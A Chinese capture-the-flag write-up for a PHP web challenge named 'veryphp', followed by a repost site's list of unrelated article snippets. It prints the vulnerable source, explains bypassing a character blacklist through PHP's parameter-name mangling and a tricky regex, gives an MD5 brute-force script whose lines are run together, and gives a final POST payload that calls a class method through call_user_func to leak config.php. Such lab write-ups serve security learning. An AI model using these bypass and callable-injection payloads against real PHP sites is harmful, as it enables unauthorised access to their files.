polar CTF WEB-veryphp

1、题目

<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{function __wakeup(){die("Access Denied!");}static function oao(){show_source("config.php");}
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){die("I am sorry but you have to leave.");
}else{extract($_POST);
}
if(isset($shaw_root)){if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){echo $hint;}else{echo "Almost there."."<br>";}
}else{echo "<br>"."Input correct parameters"."<br>";die();
}
if($ans===$SecretNumber){echo "<br>"."Congratulations!"."<br>";call_user_func($my_ans);
}
Input correct parameters

2、分析主要的是绕过下面两个正则
注意:用Burp Suite 抓包传payload,hackerbar等会将URL编码

$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){die("I am sorry but you have to leave.");
}else{extract($_POST);
}

if(isset($shaw_root)){if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){echo $hint;}else{echo "Almost there."."<br>";}

可通过在线网址调试
https://c.runoob.com/front-end/854/
①的绕过方式有两种
payload

shaw[root=123或者shaw root=123

在这里插入图片描述
在这里插入图片描述

②的绕过方式

还有拦截

if($ans===$SecretNumber){echo "<br>"."Congratulations!"."<br>";call_user_func($my_ans);
}

payload

shaw root=-a?<b>rrrrr>>>>RabcRphphp@Rrr&ans=21475

在这里插入图片描述

爆破脚本

import hashlib
import re
a = 'shaw'
b = 'root'
for i in range(10000,99999):string = a+str(i)+bmd5 = hashlib.md5(string.encode('utf-8')).hexdigest()if(re.findall("166b47a5cb1ca2431a0edfcef200684f替换为上面的给出的加密值",md5)):print(i)

在这里插入图片描述
最终payload

shaw root=-a?<b>rrrrr>>>>RabcRphphp@Rrr&ans=21475&my[ans=qwq::oao

在这里插入图片描述
其中正则分析

接下来要满足条件判断里的正则表达式和字符串的长度,逐个分析该正则表达式:^:声明字符串开头的位置。
-:匹配字符-,反斜杠是转义符。
[a-e]:匹配单个字符,范围是小写字母a到小写字母e。
[^a-zA-Z0-8]:匹配单个字符,范围是除了a-z、A-Z和0-8以外的任意字符。
:匹配一个。
(.*):匹配任意字符(行结束符除外)零到无数次。
>{4}:精确匹配“>”四次。
\D*?:匹配不是数字的任何字符(等同于[^ 0-9])零到无数次。
(abc.*?):匹配字符串abc和任意一个字符(行结束符除外)。
p(hp)*:匹配字符p和字符串hp零到多次。
\@:匹配字符@,反斜杠是转义符。
R:精确匹配字符R。
(s|r):精确匹配字符s或r。
.:匹配除了换行以外的所有字符
除了满足上述条件外,传入的字符串的长度必须等于29,可以在某些“匹配零到无数次”的地方增减长度达到目的。例如,以POST方式传入 shaw[root=-a?rrrrr>>>>RabcRphphp@Rrr 就可以满足条件,输出 $hint 的值:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/314705.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于PHP的校园代购商城系统

有需要请加文章底部Q哦 可远程调试 基于PHP的校园代购商城系统 一 介绍 此校园代购商城系统基于原生PHP开发&#xff0c;数据库mysql&#xff0c;前端bootstrap。系统角色分为用户和管理员。(附带参考设计文档) 技术栈&#xff1a;phpmysqlbootstrapphpstudyvscode 二 功能 …

【ChatGPT 默认强化学习策略】PPO 近端策略优化算法

PPO 近端策略优化算法 PPO 概率比率裁剪 演员-评论家算法演员-评论家算法&#xff1a;多智能体强化学习核心框架概率比率裁剪&#xff1a;逐步进行变化的方法PPO 目标函数的设计重要性采样KL散度 PPO 概率比率裁剪 演员-评论家算法 论文链接&#xff1a;https://arxiv.org…

Redis缓存穿透,缓存击穿,缓存雪崩

文章目录 Redis缓存穿透&#xff0c;缓存击穿&#xff0c;缓存雪崩1. 缓存穿透1.1 解决方案1&#xff1a;缓存空数据1.2 解决方案2&#xff1a;使用布隆过滤器1.2.1 布隆过滤器介绍 2. 缓存击穿2.1 解决方案1&#xff1a;互斥锁2.2 解决方案2&#xff1a;逻辑过期 3. 缓存雪崩3…

摄影-基础知识

光圈&#xff0c;快门&#xff0c;感光度决定了一张相片的受光程度 光圈 瞳孔 快门 约等于 眼皮(但是实际上并不是&#xff0c;更像镜头盖) 感光度 视网膜上的感光能力 光圈越大 景深越大&#xff0c;也就是画面越模糊 快门时间越短&#xff0c;越能抓住某个瞬间 快门时间…

Single-Image Crowd Counting via Multi-Column Convolutional Neural Network

Single-Image Crowd Counting via Multi-Column Convolutional Neural Network 论文背景人群密度方法过去的发展历史早期方法基于轨迹聚类的方法基于特征回归的方法基于图像的方法 Multi-column CNN用于人群计数基于密度图的人群计数通过几何自适应核生成密度图密度图估计的多列…

RedisTemplate序列化

SpringBoot整合Redis&#xff0c;配置RedisTemplate序列化。如果使用StringRedisTemplate&#xff0c;那么不需要配置序列化&#xff0c;但是StringRedisTemplate只能存储简单的String类型数据&#xff0c;如图&#xff1a; 如果使用StringRedisTemplate存储一个常规对象&#…

详解 MySql InnoDB 的 MVCC 实现机制

目录 一. 前言 二. 认识 MVCC 2.1. 什么是 MVCC&#xff1f; 2.2. 什么是当前读和快照读&#xff1f; 2.3. 当前读、快照读和 MVCC 的关系 2.4. MVCC 能解决什么问题&#xff0c;好处是什么&#xff1f; 2.5. 小结 三. MVCC 的实现原理 3.1. 隐式字段 3.2. undo 日志…

QT的信号与槽

QT的信号与槽 文章目录 QT的信号与槽前言一、QT 打印"hello QT"的dome二、信号和槽机制&#xff1f;二、信号与槽的用法1、QT5的方式1. 无参的信号与槽的dome2.带参的信号与槽dome 2、QT4的方式3、C11的语法 Lambda表达式1、函数对象参数2、操作符重载函数参数3、可修…

STM32存储左右互搏 SPI总线读写FRAM MB85RS2M

STM32存储左右互搏 SPI总线读写FRAM MB85RS2M 在中低容量存储领域&#xff0c;除了FLASH的使用&#xff0c;&#xff0c;还有铁电存储器FRAM的使用&#xff0c;相对于FLASH&#xff0c;FRAM写操作时不需要预擦除&#xff0c;所以执行写操作时可以达到更高的速度&#xff0c;其…

SAP 资产管理后台配置之设定主数据字段

前阵子给财务创建了一个固定资产类型&#xff0c;但同事使用时发现字段跟平时不一样。 正常是有下面这些标签页的 然后我找到主数据屏幕格式的配置里发现 发现格式默认错了 应该是默认我司的自定义格式ZSAP 但是改成ZSAP还是不会生效 需要给这个资产分类重新分配一下字段标签页…

redis安装与配置(Ubuntu)

目录 1. 切换到 root 用户 2. 搜索安装包 3. 安装 redis 4. 查看 redis 是否正常存在 5. 修改ip 6. 重新启动服务器 7. 连接服务器 1. 切换到 root 用户 通过 su 命令切换到 root 用户。 2. 搜索安装包 apt search redis 这里安装的是下面的版本&#xff1a; 3. 安装 …

经典卷积神经网络-ResNet

经典卷积神经网络-ResNet 一、背景介绍 残差神经网络(ResNet)是由微软研究院的何恺明、张祥雨、任少卿、孙剑等人提出的。ResNet 在2015 年的ILSVRC&#xff08;ImageNet Large Scale Visual Recognition Challenge&#xff09;中取得了冠军。残差神经网络的主要贡献是发现了…